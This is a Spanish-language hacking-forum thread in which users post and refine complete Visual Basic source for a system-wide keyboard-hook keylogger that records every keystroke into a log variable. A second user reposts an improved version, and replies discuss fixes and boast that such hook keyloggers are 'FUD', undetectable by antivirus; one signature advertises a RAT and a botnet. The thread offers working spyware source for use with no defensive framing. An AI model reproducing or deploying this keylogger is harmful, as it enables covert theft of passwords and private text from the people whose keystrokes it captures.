Bueno, este es mi keylogger hecho con hooks

Tengo que dar las gracias a Karcrack, que coji su funcion que procesa el caracter , Gracias.

Código en un modulo:

Código: Seleccionar todo

'***************************************************
'***************************************************
'** Autor: Drinky94                               **
'** Nombre Proyecto: Keylogger Hook               **
'** Fecha: 7-1-2011                               **
'** Agradecimientos: A karcrack por su funcion    **
'** que procesa el caracter                       **
'***************************************************
'***************************************************

Option Explicit

Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer

Private Type KBDLLHOOKSTRUCT
   VkCode As Long
   ScanCode As Long
   Flags As Long
   Time As Long
   DwExtraInfo As Long
End Type

Private Const WM_KEYDOWN = &H100

Dim hHook As Long
Public Log As String

Public Sub IniciarHook()
    hHook = SetWindowsHookEx(13, AddressOf DrinkLogger, App.hInstance, 0)
End Sub
 
Public Sub PararHook()
    Call UnhookWindowsHookEx(hHook)
End Sub
 
Private Function DrinkLogger(ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
    Dim EsHook As KBDLLHOOKSTRUCT
    Dim Letra As String
    
    If WM_KEYDOWN = wParam Then
        CopyMemory EsHook, lParam, Len(EsHook)
        
        Letra = TranslateKey(EsHook.VkCode)
        Log = Log & Letra
    End If
    
    DrinkLogger = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function

Private Function TranslateKey(ByVal KeyCode As Long) As String
    'Funcion de Karcrack
    Dim LngShift            As Long
 
    LngShift = GetAsyncKeyState(vbKeyShift)
    If KeyCode >= 58 And KeyCode <= 90 Then
        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
        TranslateKey = Chr(KeyCode - 48)
    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
        TranslateKey = "{F" & KeyCode - 111 & "}"
    Else
        If KeyCode = 160 Then TranslateKey = ""
        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
        If KeyCode = 32 Then TranslateKey = " "
        If KeyCode = 27 Then TranslateKey = "{ESC}"
        If KeyCode = 46 Then TranslateKey = "{DEL}"
        If KeyCode = 36 Then TranslateKey = "{HOME}"
        If KeyCode = 35 Then TranslateKey = "{END}"
        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
        If KeyCode = 45 Then TranslateKey = "{PASTE}"
        If KeyCode = 144 Then TranslateKey = "{NUM}"
        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
        If KeyCode = 13 Then TranslateKey = "{ENTER}"
        If KeyCode = 8 Then TranslateKey = "{BACK}"
        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
        If KeyCode = 9 Then TranslateKey = "{TAB}"
        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
        If KeyCode = 164 Then TranslateKey = "{ALT}"
        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
        If KeyCode = 145 Then TranslateKey = "{ROLL}"
        If KeyCode = 44 Then TranslateKey = "{PRINT}"
        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
    End If
End Function



Ejemplo uso desde formulario:

Código: Seleccionar todo

Private Sub Command1_Click()
PararHook
Text1.Text = Log
End Sub

Private Sub Form_Load()
IniciarHook
End Sub
salu2!
Última edición por mDrinky el 07 Ene 2011, 15:53, editado 1 vez en total.
Imagen
buen trabajo.. sigue asi Drinky.. ya mismo te veo asi..


salu2
m3m0´s - RAT....(100%) --> publicado ;)
m3m0´s Botnet... (100%)
Lo intenté probar, pero se me cuelga el VB, no habrá por casualidad que añadirle un text1 no?


EDIT: Detecta minúsculas y mayus?
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
Xpro escribió:Lo intenté probar, pero se me cuelga el VB, no habrá por casualidad que añadirle un text1 no?


EDIT: Detecta minúsculas y mayus?
no hay que añadirle el textbox obligatoriamente...

El registro de las teclas se guarda en la variable global Log.

salu2!
Imagen
Drinky94 escribió:
Xpro escribió:Lo intenté probar, pero se me cuelga el VB, no habrá por casualidad que añadirle un text1 no?


EDIT: Detecta minúsculas y mayus?
no hay que añadirle el textbox obligatoriamente...

El registro de las teclas se guarda en la variable global Log.

salu2!

Yaya, pero ese Log habrá que pasarlo a algún lado visible no?.
Pues nose tu, pero si lo hago, y añado el textbox y tal, el VB se me cuelga cuando
le doy al play ! ( sin compilar )
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
nose lo que estaras haciendo...

Seguramente intentas cerrar el formulario sin terminar el hook o algo por el estilo...

El código va perfectamente lo prove cuando lo hice y cuando me dijistes que no te iva y me funciono en ambos casos..

salu2!
Imagen
.
jeje hay que Aprender a no usar tanto CopyMemory mi querido Drinky... tambien modifique la funcion de Karcrack por que tantos If Then si solo uno va a ser el usado es como que algo cutre.

Código: Seleccionar todo


'***************************************************
'***************************************************
'** Autor: Drinky94                               **
'** Nombre Proyecto: Keylogger Hook               **
'** Fecha: 7-1-2011                               **
'** Agradecimientos: A karcrack por su funcion    **
'** que procesa el caracter                       **
'***************************************************
'**         Modificado por BlackZeroX             **
'***************************************************
'***************************************************

Option Explicit

Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer

Private Type KBDLLHOOKSTRUCT
   VkCode           As Long
   ScanCode         As Long
   Flags            As Long
   Time             As Long
   DwExtraInfo      As Long
End Type

Private Const WM_KEYDOWN = &H100

Private hHook As Long
Public Log As String

Public Sub IniciarHook()
    If hHook = 0 Then
        hHook = SetWindowsHookEx(13, AddressOf DrinkLogger, App.hInstance, 0)
    End If
End Sub

Public Sub PararHook()
    If hHook <> 0 Then
        Call UnhookWindowsHookEx(hHook)
        hHook = 0
    End If
End Sub

Private Function DrinkLogger(ByVal ncode As Long, ByVal wParam As Long, ByRef lParam As KBDLLHOOKSTRUCT) As Long
    Dim EsHook As KBDLLHOOKSTRUCT
    Dim Letra As String
   
    If WM_KEYDOWN = wParam Then
        Letra = TranslateKey(lParam.VkCode)
        Log = Log & Letra
        Debug.Print "Hook Mouse: "; Letra
    End If
   
    DrinkLogger = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function

Private Function TranslateKey(ByVal KeyCode As Long) As String
    'Funcion de Karcrack (Modificado Por BlackZeroX)
Dim LngShift            As Long

    LngShift = GetAsyncKeyState(vbKeyShift)
    
    If KeyCode >= 58 And KeyCode <= 90 Then
        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
        TranslateKey = Chr(KeyCode - 48)
    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
        TranslateKey = "{F" & KeyCode - 111 & "}"
    Else
        Select Case KeyCode
            Case 160: TranslateKey = ""
            Case 161: TranslateKey = "{SHIFT DER.}"
            Case 38: TranslateKey = "{FLECHA ARRIBA}"
            Case 40: TranslateKey = "{FLECHA ABAJO}"
            Case 37: TranslateKey = "{FLECHA IZQ.}"
            Case 39: TranslateKey = "{FLECHA DER.}"
            Case 32: TranslateKey = " "
            Case 27: TranslateKey = "{ESC}"
            Case 46: TranslateKey = "{DEL}"
            Case 36: TranslateKey = "{HOME}"
            Case 35: TranslateKey = "{END}"
            Case 33: TranslateKey = "{PAGE UP}"
            Case 34: TranslateKey = "{PAGE DOWN}"
            Case 45: TranslateKey = "{PASTE}"
            Case 144: TranslateKey = "{NUM}"
            Case 111: TranslateKey = "{NUMPAD / }"
            Case 106: TranslateKey = "{NUMPAD * }"
            Case 109: TranslateKey = "{NUMPAD - }"
            Case 107: TranslateKey = "{NUMPAD + }"
            Case 13: TranslateKey = "{ENTER}"
            Case 8: TranslateKey = "{BACK}"
            Case 221: TranslateKey = "{ACCENTO}"
            Case 9: TranslateKey = "{TAB}"
            Case 20: TranslateKey = "{BLOQ. MAYUS}"
            Case 162: TranslateKey = "{STRG LEFT}"
            Case 163: TranslateKey = "{STRG DER.}"
            Case 91: TranslateKey = "{WINDOWS}"
            Case 164: TranslateKey = "{ALT}"
            Case 165: TranslateKey = "{ALTGR}"
            Case 93: TranslateKey = "{MENU CONTEXTUAL}"
            Case 188: TranslateKey = IIf(LngShift <> 0, ";", ",")
            Case 190: TranslateKey = IIf(LngShift <> 0, ":", ".")
            Case 189: TranslateKey = IIf(LngShift <> 0, "_", "-")
            Case 191: TranslateKey = IIf(LngShift <> 0, "'", "#")
            Case 187: TranslateKey = IIf(LngShift <> 0, "*", "+")
            Case 186: TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
            Case 192: TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
            Case 222: TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
            Case 219: TranslateKey = IIf(LngShift <> 0, "?", "ß")
            Case 220: TranslateKey = IIf(LngShift <> 0, "°", "^")
            Case 48: TranslateKey = IIf(LngShift <> 0, "=", "0")
            Case 49: TranslateKey = IIf(LngShift <> 0, "!", "1")
            Case 50: TranslateKey = IIf(LngShift <> 0, """", "2")
            Case 51: TranslateKey = IIf(LngShift <> 0, "§", "3")
            Case 52: TranslateKey = IIf(LngShift <> 0, "$", "4")
            Case 53: TranslateKey = IIf(LngShift <> 0, "%", "5")
            Case 54: TranslateKey = IIf(LngShift <> 0, "&", "6")
            Case 55: TranslateKey = IIf(LngShift <> 0, "/", "7")
            Case 56: TranslateKey = IIf(LngShift <> 0, "(", "8")
            Case 57: TranslateKey = IIf(LngShift <> 0, ")", "9")
            Case 145: TranslateKey = "{ROLL}"
            Case 44: TranslateKey = "{PRINT}"
            Case 19: TranslateKey = "{PAUSE}"
            Case Else: If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
        End Select
    End If
End Function

Uso correcto:

Código: Seleccionar todo


Private Sub Command1_Click()
    Text1.Text = Log
End Sub

Private Sub Form_Load()
    call IniciarHook
End Sub

Private Sub Form_Unload(Cancel As Integer)
    call PararHook
End Sub

Temibles Lunas!¡.
Web: http://infrangelux.sytes.net/
ScanX: http://ScanX.sytes.net/
FileX: http://FileX.sytes.net/
Blog: http://BlogX.sytes.net/

Imagen


The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi religion
Jejeje que bueno man, me encantan los keyloggers por hook, me acuerdo que el primero que hice me quedó Fudito

Saludos!
github.com/Slek-Z
truxk escribió:Lo prove y va bien, una pena que no funcionen los acentos :$

cuando tenga un Rato se lo implemento!!

salu2!
Imagen
Slek escribió:Jejeje que bueno man, me encantan los keyloggers por hook, me acuerdo que el primero que hice me quedó Fudito

Saludos!
Drinky94 escribió:ummm, este código tamien es fud

salu2!
Lamento decirles que todos los Hooks por pertenecer a una pila de mensajes son FUD, asi que no se sorprendan tanto.

Dulces Lunas!¡.
Web: http://infrangelux.sytes.net/
ScanX: http://ScanX.sytes.net/
FileX: http://FileX.sytes.net/
Blog: http://BlogX.sytes.net/

Imagen


The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi religion
BlackZeroX escribió:Lamento decirles que todos los Hooks por pertenecer a una pila de mensajes son FUD, asi que no se sorprendan tanto.

Dulces Lunas!¡.
El code de Karcrack es (o era) detectado >.<

Saludos!
github.com/Slek-Z
Responder

Volver a “Otros lenguajes”